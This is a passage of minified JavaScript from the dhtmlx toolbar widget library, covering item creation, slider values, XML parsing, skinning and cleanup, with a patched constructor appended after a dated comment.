dhxtoolbar_btn_def\"};this.disableItem=function(){if(!this.state){return}this.state=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_dis\"};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setValue=function(m,n){m=Number(m);if(m<this.pen.valueMin){m=this.pen.valueMin}if(m>this.pen.valueMax){m=this.pen.valueMax}this.pen.valueNow=m;this.pen._definePos();if(n==true){g.callEvent(\"onValueChange\",[this.obj.idd.replace(g.idPrefix,\"\"),this.pen.valueNow])}};this.getValue=function(){return this.pen.valueNow};this.setMinValue=function(n,m){n=Number(n);if(n>this.pen.valueMax){return}this.obj.childNodes[0].innerHTML=m;this.obj.childNodes[0].style.display=(m.length>0?\"\":\"none\");this.pen.valueMin=n;if(this.pen.valueNow<this.pen.valueMin){this.pen.valueNow=this.pen.valueMin}this.pen._detectLimits();this.pen._definePos()};this.setMaxValue=function(n,m){n=Number(n);if(n<this.pen.valueMin){return}this.obj.childNodes[4].innerHTML=m;this.obj.childNodes[4].style.display=(m.length>0?\"\":\"none\");this.pen.valueMax=n;if(this.pen.valueNow>this.pen.valueMax){this.pen.valueNow=this.pen.valueMax}this.pen._detectLimits();this.pen._definePos()};this.getMinValue=function(){var m=this.obj.childNodes[0].innerHTML;var n=this.pen.valueMin;return new Array(n,m)};this.getMaxValue=function(){var m=this.obj.childNodes[4].innerHTML;var n=this.pen.valueMax;return new Array(n,m)};this.setItemToolTipTemplate=function(m){this.label.tip=m};this.getItemToolTipTemplate=function(){return this.label.tip};return this};dhtmlXToolbarObject.prototype.unload=function(){if(this.conf.isIPad){document.removeEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.detachEvent(\"onmousedown\",this._doOnClick)}}this._doOnClick=null;this.clearAll();this.objPull=null;if(this._xmlLoader){this._xmlLoader.destructor();this._xmlLoader=null}while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}this.cont.removeChild(this.base);this.base=null;while(this.cont.childNodes.length>0){this.cont.removeChild(this.cont.childNodes[0])}this.cont.className=\"\";this.cont=null;window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");this.tX1=null;this.tX2=null;this.tY1=null;this.tY2=null;this.anyUsed=null;this.idPrefix=null;this.rootTypes=null;this._rtl=null;this._rtlParseBtn=null;this.setRTL=null;this._sbw=null;this._getObj=null;this._addImgObj=null;this._setItemImage=null;this._clearItemImage=null;this._setItemText=null;this._getItemText=null;this._enableItem=null;this._disableItem=null;this._xmlParser=null;this._addItemToStorage=null;this._genStr=null;this._addItem=null;this._getPosition=null;this._setPosition=null;this._getIdByPosition=null;this._separatorObject=null;this._textObject=null;this._buttonObject=null;this._buttonSelectObject=null;this._buttonInputObject=null;this._buttonTwoStateObject=null;this._sliderObject=null;this._autoDetectVisibleArea=null;this._removeItem=null;this.setAlign=null;this.setSkin=null;this.setIconsPath=null;this.setIconPath=null;this.loadXML=null;this.loadXMLString=null;this.clearAll=null;this.addSpacer=null;this.removeSpacer=null;this.getType=null;this.getTypeExt=null;this.inArray=null;this.getParentId=null;this.addButton=null;this.addText=null;this.addButtonSelect=null;this.addButtonTwoState=null;this.addSeparator=null;this.addSlider=null;this.addInput=null;this.forEachItem=null;this.showItem=null;this.hideItem=null;this.isVisible=null;this.enableItem=null;this.disableItem=null;this.isEnabled=null;this.setItemText=null;this.getItemText=null;this.setItemToolTip=null;this.getItemToolTip=null;this.setItemImage=null;this.setItemImageDis=null;this.clearItemImage=null;this.clearItemImageDis=null;this.setItemState=null;this.getItemState=null;this.setItemToolTipTemplate=null;this.getItemToolTipTemplate=null;this.setValue=null;this.getValue=null;this.setMinValue=null;this.getMinValue=null;this.setMaxValue=null;this.getMaxValue=null;this.setWidth=null;this.getWidth=null;this.getPosition=null;this.setPosition=null;this.removeItem=null;this.addListOption=null;this.removeListOption=null;this.showListOption=null;this.hideListOption=null;this.isListOptionVisible=null;this.enableListOption=null;this.disableListOption=null;this.isListOptionEnabled=null;this.setListOptionPosition=null;this.getListOptionPosition=null;this.setListOptionText=null;this.getListOptionText=null;this.setListOptionToolTip=null;this.getListOptionToolTip=null;this.setListOptionImage=null;this.getListOptionImage=null;this.clearListOptionImage=null;this.forEachListOption=null;this.getAllListOptions=null;this.setListOptionSelected=null;this.getListOptionSelected=null;this.unload=null;this.setUserData=null;this.getUserData=null;this.setMaxOpen=null;this.items=null;this.conf=null};dhtmlXToolbarObject.prototype._autoDetectVisibleArea=function(){var a=window.dhx4.screenDim();this.tX1=a.left;this.tX2=a.right;this.tY1=a.top;this.tY2=a.bottom};dhtmlXToolbarObject.prototype._initObj=function(c){for(var a=0;a<c.length;a++){this._addItemToStorage(c[a])}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._xmlToJson=function(v){var o=[];var A=v.getElementsByTagName(\"toolbar\");if(A!=null&&A[0]!=null){A=A[0];var x=function(e){var h=e.getElementsByTagName(\"itemText\");if(h!=null&&h[0]!=null){return window.dhx4._xmlNodeValue(h[0])}return null};var E=[\"id\",\"type\",\"hidden\",\"title\",\"text\",\"enabled\",\"img\",\"imgdis\",\"action\",\"openAll\",\"renderSelect\",\"mode\",\"maxOpen\",\"width\",\"value\",\"selected\",\"length\",\"textMin\",\"textMax\",\"toolTip\",\"valueMin\",\"valueMax\",\"valueNow\"];var g=[\"id\",\"type\",\"enabled\",\"disabled\",\"action\",\"selected\",\"img\",\"text\"];for(var c=0;c<A.childNodes.length;c++){if(A.childNodes[c].tagName==\"item\"){var n={};for(var C=0;C<E.length;C++){var l=A.childNodes[c].getAttribute(E[C]);if(l!=null){n[E[C]]=l}}for(var y=0;y<A.childNodes[c].childNodes.length;y++){if(A.childNodes[c].childNodes[y].tagName==\"item\"&&n.type==\"buttonSelect\"){var D={};for(var C=0;C<g.length;C++){var l=A.childNodes[c].childNodes[y].getAttribute(g[C]);if(l!=null){D[g[C]]=l}}var s=A.childNodes[c].childNodes[y].getElementsByTagName(\"userdata\");for(var C=0;C<s.length;C++){if(!D.userdata){D.userdata={}}var a={};try{a.name=s[C].getAttribute(\"name\")}catch(m){a.name=null}try{a.value=s[C].firstChild.nodeValue}catch(m){a.value=\"\"}if(a.name!=null){D.userdata[a.name]=a.value}}D.text=x(A.childNodes[c].childNodes[y])||D.text;if(n.options==null){n.options=[]}n.options.push(D)}if(A.childNodes[c].childNodes[y].tagName==\"userdata\"){if(n.userdata==null){n.userdata={}}var D={};try{D.name=A.childNodes[c].childNodes[y].getAttribute(\"name\")}catch(m){D.name=null}try{D.value=A.childNodes[c].childNodes[y].firstChild.nodeValue}catch(m){D.value=\"\"}if(D.name!=null){n.userdata[D.name]=D.value}}}n.text=x(A.childNodes[c])||n.text;o.push(n)}}x=null}return o};dhtmlXToolbarObject.prototype._addItemToStorage=function(l,n){var m=(l.id||this._genStr(24));var g=(l.type||\"\");if(g==\"spacer\"){this.addSpacer(this._lastId)}else{this._lastId=m}if(g!=\"\"&&this[\"_\"+g+\"Object\"]!=null){if(g==\"buttonSelect\"){if(l.options!=null){for(var h=0;h<l.options.length;h++){if(l.options[h].type==\"obj\"){l.options[h].type=\"button\"}if(l.options[h].type==\"sep\"){l.options[h].type=\"separator\"}}}}if(g==\"slider\"){var e={tip_template:\"toolTip\",value_min:\"valueMin\",value_max:\"valueMax\",value_now:\"valueNow\",text_min:\"textMin\",text_max:\"textMax\"};for(var c in e){if(l[e[c]]==null&&l[c]!=null){l[e[c]]=l[c]}}}if(g==\"buttonInput\"){if(l.value==null&&l.text!=null){l.value=l.text}}if(g==\"buttonTwoState\"){if(typeof(l.selected)==\"undefined\"&&typeof(l.pressed)!=\"undefined\"&&window.dhx4.s2b(l.pressed)){l.selected=true}}if(typeof(l.enabled)==\"undefined\"&&typeof(l.disabled)!=\"undefined\"&&window.dhx4.s2b(l.disabled)){l.enabled=false}if(l.imgDis==null&&l.img_disabled!=null){l.imgdis=l.img_disabled}if((typeof(l.openAll)==\"undefined\"||l.openAll==null)&&this.conf.skin==\"dhx_terrace\"){l.openAll=true}this.objPull[this.idPrefix+m]=new this[\"_\"+g+\"Object\"](this,m,l);this.objPull[this.idPrefix+m][\"type\"]=g;this.setPosition(m,n)}if(l.userdata!=null){for(var c in l.userdata){this.setUserData(m,c,l.userdata[c])}}if(l.options!=null){for(var h=0;h<l.options.length;h++){if(l.options[h].userdata!=null){for(var c in l.options[h].userdata){this.setListOptionUserData(l.id,l.options[h].id,c,l.options[h].userdata[c])}}}}};dhtmlXToolbarObject.prototype.setSkin=function(h,e){if(e===true){this.cont.className=this.cont.className.replace(/dhxtoolbar_icons_\\d{1,}/,\"dhxtoolbar_icons_\"+this.conf.iconSize)}else{this.conf.skin=h;if(this.conf.skin==\"dhx_skyblue\"){this.conf.sel_ofs_y=1}if(this.conf.skin==\"dhx_web\"){this.conf.sel_ofs_y=1;this.conf.sel_ofs_x=1}if(this.conf.skin==\"dhx_terrace\"){this.conf.sel_ofs_y=-1;this.conf.sel_ofs_x=0}this.cont.className=\"dhx_toolbar_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}for(var c in this.objPull){var g=this.objPull[c];if(g.type==\"slider\"){g.pen._detectLimits();g.pen._definePos();g.label.className=\"dhx_toolbar_slider_label_\"+this.conf.skin}if(g.type==\"buttonSelect\"){g.polygon.className=\"dhx_toolbar_poly_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}}if(h==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.setAlign=function(a){this.conf.align=(a==\"right\"?\"right\":\"left\");this.base.className=(a==\"right\"?\"dhxtoolbar_float_right\":\"dhxtoolbar_float_left\");if(this._spacer){this._spacer.className=(a==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\")}};dhtmlXToolbarObject.prototype.setIconSize=function(a){this.conf.iconSize=({18:true,24:true,32:true,48:true}[a]?a:18);this.setSkin(this.conf.skin,true);this.callEvent(\"_onIconSizeChange\",[this.conf.iconSize])};dhtmlXToolbarObject.prototype.setIconsPath=function(a){this.conf.icons_path=a};dhtmlXToolbarObject.prototype.setUserData=function(e,a,c){e=this.idPrefix+e;if(this.objPull[e]!=null){if(this.objPull[e].userData==null){this.objPull[e].userData={}}this.objPull[e].userData[a]=c}};dhtmlXToolbarObject.prototype.getUserData=function(c,a){c=this.idPrefix+c;if(this.objPull[c]!=null&&this.objPull[c].userData!=null){return this.objPull[c].userData[a]||null}return null};dhtmlXToolbarObject.prototype._isListOptionExists=function(a,e){if(this.objPull[this.idPrefix+a]==null){return false}var c=this.objPull[this.idPrefix+a];if(c.type!=\"buttonSelect\"){return false}if(c._listOptions[e]==null){return false}return true};dhtmlXToolbarObject.prototype.setListOptionUserData=function(a,h,c,g){if(!this._isListOptionExists(a,h)){return}var e=this.objPull[this.idPrefix+a]._listOptions[h];if(e.userData==null){e.userData={}}e.userData[c]=g};dhtmlXToolbarObject.prototype.getListOptionUserData=function(a,g,c){if(!this._isListOptionExists(a,g)){return null}var e=this.objPull[this.idPrefix+a]._listOptions[g];if(!e.userData){return null}return(e.userData[c]?e.userData[c]:null)};dhtmlXToolbarObject.prototype._improveTerraceSkin=function(){if(this.conf.terrace_radius==null){this.conf.terrace_radius=\"3px\"}var g=[];var h={separator:true,text:true};var m=[this.base];if(this._spacer!=null){m.push(this._spacer)}for(var o=0;o<m.length;o++){g[o]=[];for(var c=0;c<m[o].childNodes.length;c++){if(m[o].childNodes[c].idd!=null&&m[o].childNodes[c].style.display!=\"none\"){var n=this.idPrefix+m[o].childNodes[c].idd;if(this.objPull[n]!=null&&this.objPull[n].obj==m[o].childNodes[c]){g[o].push({a:n,type:this.objPull[n].type,node:this.objPull[n][this.objPull[n].type==\"buttonSelect\"?\"arw\":\"obj\"]})}}}m[o]=null}for(var o=0;o<g.length;o++){for(var c=0;c<g[o].length;c++){var r=g[o][c];var s=false;var l=false;if(!h[r.type]){if(c==g[o].length-1||(g[o][c+1]!=null&&h[g[o][c+1].type])){s=true}if(c==0||(c-1>=0&&g[o][c-1]!=null&&h[g[o][c-1].type])){l=true}}r.node.style.borderRightWidth=(s?\"1px\":\"0px\");r.node.style.borderTopRightRadius=r.node.style.borderBottomRightRadius=(s?this.conf.terrace_radius:\"0px\");if(r.type==\"buttonSelect\"){r.node.previousSibling.style.borderTopLeftRadius=r.node.previousSibling.style.borderBottomLeftRadius=(l?this.conf.terrace_radius:\"0px\");r.node.previousSibling._br=s;r.node.previousSibling._bl=l}else{r.node.style.borderTopLeftRadius=r.node.style.borderBottomLeftRadius=(l?this.conf.terrace_radius:\"0px\")}r.node._br=s;r.node._bl=l}}for(var o=0;o<g.length;o++){for(var c=0;c<g[o].length;c++){for(var n in g[o][c]){g[o][c][n]=null}g[o][c]=null}g[o]=null}g=m=null};dhtmlXToolbarObject.prototype._improveTerraceButtonSelect=function(e,c){var a=this.objPull[e];if(c==true){a.obj.style.borderBottomLeftRadius=(a.obj._bl?this.conf.terrace_radius:\"0px\");a.arw.style.borderBottomRightRadius=(a.obj._br?this.conf.terrace_radius:\"0px\")}else{a.obj.style.borderBottomLeftRadius=\"0px\";a.arw.style.borderBottomRightRadius=\"0px\"}a=null};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_toolbar=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_toolbar_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"));h.firstChild.className=\"dhx_toolbar_base_18_dhx_skyblue\"}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);this.conf.ofs_nodes.t.toolbar=true;this._updateIdx();return h};dhtmlXCellObject.prototype.attachToolbar=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.callEvent(\"_onBeforeContentAttach\",[\"toolbar\"]);if(typeof(a)==\"undefined\"){a={}}else{if(typeof(a)==\"string\"){a={skin:a}}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"toolbar\").firstChild;this.dataNodes.toolbar=new dhtmlXToolbarObject(a);this._adjustCont(this._idd);this.dataNodes.toolbar._masterCell=this;this.dataNodes.toolbar.attachEvent(\"_onIconSizeChange\",function(){this._masterCell._adjustCont()});a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.toolbar};dhtmlXCellObject.prototype.detachToolbar=function(){if(!this.dataNodes.toolbar){return}this.dataNodes.toolbar._masterCell=null;this.dataNodes.toolbar.unload();this.dataNodes.toolbar=null;delete this.dataNodes.toolbar;this._detachObject(\"toolbar\")};dhtmlXCellObject.prototype.showToolbar=function(){this._mtbShowHide(\"toolbar\",\"\")};dhtmlXCellObject.prototype.hideToolbar=function(){this._mtbShowHide(\"toolbar\",\"none\")};dhtmlXCellObject.prototype.getAttachedToolbar=function(){return this.dataNodes.toolbar}}\n// changed on 15-12-21\nfunction dhtmlXToolbarObject(t,e){var i=this;this.conf={skin:e||window.dhx4.skin||(typeof dhtmlx!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtoolbar\")||\"dhx_skyblue\",align:\"left\",align_autostart:\"left\",icons_path:\"\",iconSize:18,sel_ofs_x:0,sel_ofs_y:0,xml_autoload:null,items_autoload:null};if(typeof t==\"object\"&&t!=null&&typeof t.tagName==\"undefined\"){if(t.icons_path!=null||t.icon_path!=null)this.conf.icons_path=t.icons_path||t.icon_path;if(t.icons_size!=null)this.conf.icons_size_autoload=t.icons_size;if(t.json!=null)this.conf.json_autoload=t.json;if(t.xml!=null)this.conf.xml_autoload=t.xml;if(t.onload!=null)this.conf.onload_autoload=t.onload;if(t.onclick!=null||t.onClick!=null)this.conf.auto_onclick=t.onclick||t.onClick;if(t.items!=null)this.conf.items_autoload=t.items;if(t.skin!=null)this.conf.skin=t.skin;if(t.align!=null)this.conf.align_autostart=t.align;t=t.parent}this.cont=typeof t!=\"object\"?document.getElementById(t):t;while(this.cont.childNodes.length>0)this.cont.removeChild(this.cont.childNodes[0]);t=null;this.cont.dir=\"ltr\";this.base=document.createElement(\"DIV\");this.base.className=\"dhxtoolbar_float_left\";this.cont.appendChild(this.base);if(window.dhx4.isIPad){this.cont.ontouchstart=function(t){t=t||event;if(String(t.target.tagName||\"\").toLowerCase()==\"input\")return true;if(t.preventDefault)t.preventDefault();else t.returnValue=false;t.cancelBubble=true;return false}}this.setSkin(this.conf.skin);this.objPull={};this.anyUsed=\"none\";this._genStr=function(t){var e=\"dhxId_\";var i=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var n=0;n<t;n++)e+=i.charAt(Math.round(Math.random()*(i.length-1)));return e};this.rootTypes=new Array(\"button\",\"buttonSelect\",\"buttonTwoState\",\"separator\",\"label\",\"slider\",\"text\",\"buttonInput\");this.idPrefix=this._genStr(12);window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToJson\",\"toolbar\",{struct:true});window.dhx4._eventable(this);this._getObj=function(t,e){var i=null;for(var n=0;n<t.childNodes.length;n++){if(t.childNodes[n].tagName!=null){if(String(t.childNodes[n].tagName).toLowerCase()==String(e).toLowerCase())i=t.childNodes[n]}}return i};this._addImgObj=function(t){var e=document.createElement(\"IMG\");if(t.childNodes.length>0)t.insertBefore(e,t.childNodes[0]);else t.appendChild(e);return e};this._setItemImage=function(t,e,i){if(i==true)t.imgEn=e;else t.imgDis=e;if(!t.state&&i==true||t.state&&i==false)return;var n=this._getObj(t.obj,\"img\");if(n==null)n=this._addImgObj(t.obj);n.src=this.conf.icons_path+e};this._clearItemImage=function(t,e){if(e==true)t.imgEn=\"\";else t.imgDis=\"\";if(!t.state&&e==true||t.state&&e==false)return;var i=this._getObj(t.obj,\"img\");if(i!=null)i.parentNode.removeChild(i)};this._setItemText=function(t,e){var i=this._getObj(t.obj,\"div\");if(e==null||e.length==0){if(i!=null)i.parentNode.removeChild(i);return}if(i==null){i=document.createElement(\"DIV\");i.className=\"dhxtoolbar_text\";t.obj.appendChild(i)}i.innerHTML=e};this._getItemText=function(t){var e=this._getObj(t.obj,\"div\");if(e!=null)return e.innerHTML;return\"\"};this._enableItem=function(t){if(t.state)return;t.state=true;if(this.objPull[t.id][\"type\"]==\"buttonTwoState\"&&this.objPull[t.id][\"obj\"][\"pressed\"]==true){t.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";t.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{t.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";t.obj.renderAs=t.obj.className}if(t.arw)t.arw.className=String(t.obj.className).replace(\"btn\",\"arw\");var e=this._getObj(t.obj,\"img\");if(t.imgEn!=\"\"){if(e==null)e=this._addImgObj(t.obj);e.src=this.conf.icons_path+t.imgEn}else{if(e!=null)e.parentNode.removeChild(e)}};this._disableItem=function(t){if(!t.state)return;t.state=false;t.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.objPull[t.id][\"type\"]==\"buttonTwoState\"&&t.obj.pressed?\"pres_\":\"\")+\"dis\";t.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";if(t.arw)t.arw.className=String(t.obj.className).replace(\"btn\",\"arw\");var e=this._getObj(t.obj,\"img\");if(t.imgDis!=\"\"){if(e==null)e=this._addImgObj(t.obj);e.src=this.conf.icons_path+t.imgDis}else{if(e!=null)e.parentNode.removeChild(e)}if(t.polygon!=null){if(t.polygon.style.display!=\"none\"){window.dhx4.zim.clear(t.polygon._idd);t.polygon.style.display=\"none\";if(t.polygon._ie6cover)t.polygon._ie6cover.style.display=\"none\";if(this.conf.skin==\"dhx_terrace\")this._improveTerraceButtonSelect(t.id,true);this.callEvent(\"onButtonSelectHide\",[t.obj.idd])}}this.anyUsed=\"none\"};this.clearAll=function(){for(var t in this.objPull)this._removeItem(String(t).replace(this.idPrefix,\"\"))};this._doOnClick=function(t){if(i&&i.forEachItem){i.forEachItem(function(t){if(i.objPull[i.idPrefix+t][\"type\"]==\"buttonSelect\"){var e=i.objPull[i.idPrefix+t];if(e.arw._skip===true){e.arw._skip=false}else if(e.polygon.style.display!=\"none\"){e.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";e.obj.className=e.obj.renderAs;e.arw.className=String(e.obj.renderAs).replace(\"btn\",\"arw\");i.anyUsed=\"none\";window.dhx4.zim.clear(e.polygon._idd);e.polygon.style.display=\"none\";if(e.polygon._ie6cover)e.polygon._ie6cover.style.display=\"none\";if(i.conf.skin==\"dhx_terrace\")i._improveTerraceButtonSelect(e.id,true);i.callEvent(\"onButtonSelectHide\",[e.obj.idd])}}})}};if(window.dhx4.isIPad){document.addEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof window.addEventListener!=\"undefined\"){window.addEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.attachEvent(\"onmousedown\",this._doOnClick)}}if(this.conf.icons_size_autoload!=null){this.setIconSize(this.conf.icons_size_autoload);this.conf.icons_size_autoload=null}if(this.conf.items_autoload!=null){this.loadStruct(this.conf.items_autoload,this.conf.onload_autoload);this.conf.items_autoload=null}else if(this.conf.json_autoload!=null){this.loadStruct(this.conf.json_autoload,this.conf.onload_autoload);this.conf.json_autoload=null}else if(this.conf.xml_autoload!=null){this.loadStruct(this.conf.xml_autoload,this.conf.onload_autoload);this.conf.xml_autoload=null}if(this.conf.align_autostart!=this.conf.align){this.setAlign(this.conf.align_autostart);this.conf.align_autostart=null}if(typeof this.conf.auto_onclick==\"function\"){this.attachEvent(\"onClick\",this.conf.auto_onclick)}else if(typeof this.conf.auto_onclick==\"string\"&&typeof window[this.conf.auto_onclick]==\"function\"){this.attachEvent(\"onClick\",window[this.conf.auto_onclick])}return this}dhtmlXToolbarObject.prototype.addSpacer=function(t){var e=this.idPrefix+t;if(this._spacer!=null){if(this._spacer.idd==t)return;if(this._spacer==this.objPull[e].obj.parentNode){var i=true;while(i){var n=this._spacer.childNodes[0].idd;this.base.appendChild(this._spacer.childNodes[0]);if(n==t||this._spacer.childNodes.length==0){if(this.objPull[e].arw!=null)this.base.appendChild(this.objPull[e].arw);i=false}}this._spacer.idd=t;this._fixSpacer();return}if(this.base==this.objPull[e].obj.parentNode){var i=true;var s=this.objPull[e].arw!=null;while(i){var l=this.base.childNodes.length-1;if(s==true)if(this.base.childNodes[l]==this.objPull[e].arw)i=false;if(this.base.childNodes[l].idd==t)i=false;if(i){if(this._spacer.childNodes.length>0)this._spacer.insertBefore(this.base.childNodes[l],this._spacer.childNodes[0]);else this._spacer.appendChild(this.base.childNodes[l])}}this._spacer.idd=t;this._fixSpacer();return}}else{var o=null;for(var l=0;l<this.base.childNodes.length;l++){if(this.base.childNodes[l]==this.objPull[this.idPrefix+t].obj){o=l;if(this.objPull[this.idPrefix+t].arw!=null)o=l+1}}if(o!=null){this._spacer=document.createElement(\"DIV\");this._spacer.className=this.conf.align==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\";this._spacer.dir=\"ltr\";this._spacer.idd=t;while(this.base.childNodes.length>o+1)this._spacer.appendChild(this.base.childNodes[o+1]);this.cont.appendChild(this._spacer);this._fixSpacer()}}if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype.removeSpacer=function(){if(!this._spacer)return;while(this._spacer.childNodes.length>0)this.base.appendChild(this._spacer.childNodes[0]);this._spacer.parentNode.removeChild(this._spacer);this._spacer=null;if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype._fixSpacer=function(){if(typeof window.addEventListener==\"undefined\"&&this._spacer!=null){this._spacer.style.borderLeft=\"1px solid #a4bed4\";var t=this._spacer;window.setTimeout(function(){t.style.borderLeft=\"0px solid #a4bed4\";t=null},1)}};dhtmlXToolbarObject.prototype.getType=function(t){var e=this.getParentId(t);if(e!=null){var i=null;var n=this.objPull[this.idPrefix+e]._listOptions[t];if(n!=null)if(n.sep!=null)i=\"buttonSelectSeparator\";else i=\"buttonSelectButton\";return i}else{if(this.objPull[this.idPrefix+t]==null)return null;return this.objPull[this.idPrefix+t][\"type\"]}};dhtmlXToolbarObject.prototype.getTypeExt=function(t){var e=this.getType(t);if(e==\"buttonSelectButton\"||e==\"buttonSelectSeparator\"){if(e==\"buttonSelectButton\")e=\"button\";else e=\"separator\";return e}return null};dhtmlXToolbarObject.prototype.inArray=function(t,e){for(var i=0;i<t.length;i++){if(t[i]==e)return true}return false};dhtmlXToolbarObject.prototype.getParentId=function(t){var e=null;for(var i in this.objPull)if(this.objPull[i]._listOptions)for(var n in this.objPull[i]._listOptions)if(n==t)e=String(i).replace(this.idPrefix,\"\");return e};dhtmlXToolbarObject.prototype._addItem=function(t,e){if(typeof t.text==\"string\"){t.text=window.dhx4.trim(t.text);if(t.text.length==0)t.text=null}this._addItemToStorage(t,e);if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype.addButton=function(t,e,i,n,s){this._addItem({id:t,type:\"button\",text:i,img:n,imgdis:s},e)};dhtmlXToolbarObject.prototype.addText=function(t,e,i){this._addItem({id:t,type:\"text\",text:i},e)};dhtmlXToolbarObject.prototype.addButtonSelect=function(t,e,i,n,s,l,o,a,r,h){var d=[];for(var u=0;u<n.length;u++){var c={};if(n[u]instanceof Array){c.id=n[u][0];c.type=n[u][1]==\"obj\"?\"button\":\"separator\";c.text=n[u][2]||null;c.img=n[u][3]||null}else if(n[u]instanceof Object&&n[u]!=null&&typeof n[u].id!=\"undefined\"&&typeof n[u].type!=\"undefined\"){c.id=n[u].id;c.type=n[u].type==\"obj\"?\"button\":\"separator\";c.text=n[u].text;c.img=n[u].img}d.push(c)}this._addItem({id:t,type:\"buttonSelect\",text:i,img:s,imgdis:l,renderSelect:o,openAll:a,options:d,maxOpen:r,mode:h},e)};dhtmlXToolbarObject.prototype.addButtonTwoState=function(t,e,i,n,s){this._addItem({id:t,type:\"buttonTwoState\",img:n,imgdis:s,text:i},e)};dhtmlXToolbarObject.prototype.addSeparator=function(t,e){this._addItem({id:t,type:\"separator\"},e)};dhtmlXToolbarObject.prototype.addSlider=function(t,e,i,n,s,l,o,a,r){this._addItem({id:t,type:\"slider\",length:i,valueMin:n,valueMax:s,valueNow:l,textMin:o,textMax:a,toolTip:r},e)};dhtmlXToolbarObject.prototype.addInput=function(t,e,i,n){this._addItem({id:t,type:\"buttonInput\",value:i,width:n},e)};dhtmlXToolbarObject.prototype.forEachItem=function(t){for(var e in this.objPull){if(this.inArray(this.rootTypes,this.objPull[e][\"type\"])){t(this.objPull[e][\"id\"].replace(this.idPrefix,\"\"))}}};(function(){var t=\"isVisible,enableItem,disableItem,isEnabled,setItemText,getItemText,setItemToolTip,getItemToolTip,getInput,setItemImage,setItemImageDis,clearItemImage,clearItemImageDis,setItemState,getItemState,setItemToolTipTemplate,getItemToolTipTemplate,setValue,getValue,setMinValue,getMinValue,setMaxValue,getMaxValue,setWidth,getWidth,setMaxOpen\".split(\",\");var e=[false,\"\",\"\",false,\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",false,\"\",\"\",\"\",null,\"\",[null,null],\"\",[null,null],\"\",null];var i=function(t,e){return function(i,n,s){i=this.idPrefix+i;if(this.objPull[i][t]!=null)return this.objPull[i][t].call(this.objPull[i],n,s);else return e}};for(var n=0;n<t.length;n++){var s=t[n];var l=e[n];dhtmlXToolbarObject.prototype[s]=i(s,l)}})();dhtmlXToolbarObject.prototype.showItem=function(t){t=this.idPrefix+t;if(this.objPull[t]!=null&&this.objPull[t].showItem!=null){this.objPull[t].showItem();if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.hideItem=function(t){t=this.idPrefix+t;if(this.objPull[t]!=null&&this.objPull[t].hideItem!=null){this.objPull[t].hideItem();if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.getPosition=function(t){return this._getPosition(t)};dhtmlXToolbarObject.prototype._getPosition=function(t,e){if(this.objPull[this.idPrefix+t]==null)return null;var i=null;var n=0;for(var s=0;s<this.base.childNodes.length;s++){if(this.base.childNodes[s].idd!=null){if(this.base.childNodes[s].idd==t)i=n;n++}}if(!i&&this._spacer!=null){for(var s=0;s<this._spacer.childNodes.length;s++){if(this._spacer.childNodes[s].idd!=null){if(this._spacer.childNodes[s].idd==t)i=n;n++}}}return i};dhtmlXToolbarObject.prototype.setPosition=function(t,e){this._setPosition(t,e)};dhtmlXToolbarObject.prototype._setPosition=function(t,e){if(this.objPull[this.idPrefix+t]==null)return;if(isNaN(e))e=this.base.childNodes.length;if(e<0)e=0;var i=null;if(this._spacer){i=this._spacer.idd;this.removeSpacer()}var n=this.objPull[this.idPrefix+t];this.base.removeChild(n.obj);if(n.arw)this.base.removeChild(n.arw);var s=this._getIdByPosition(e,true);if(s[0]==null){this.base.appendChild(n.obj);if(n.arw)this.base.appendChild(n.arw)}else{this.base.insertBefore(n.obj,this.base.childNodes[s[1]]);if(n.arw)this.base.insertBefore(n.arw,this.base.childNodes[s[1]+1])}if(i!=null)this.addSpacer(i)};dhtmlXToolbarObject.prototype._getIdByPosition=function(t,e){var i=null;var n=0;var s=0;for(var 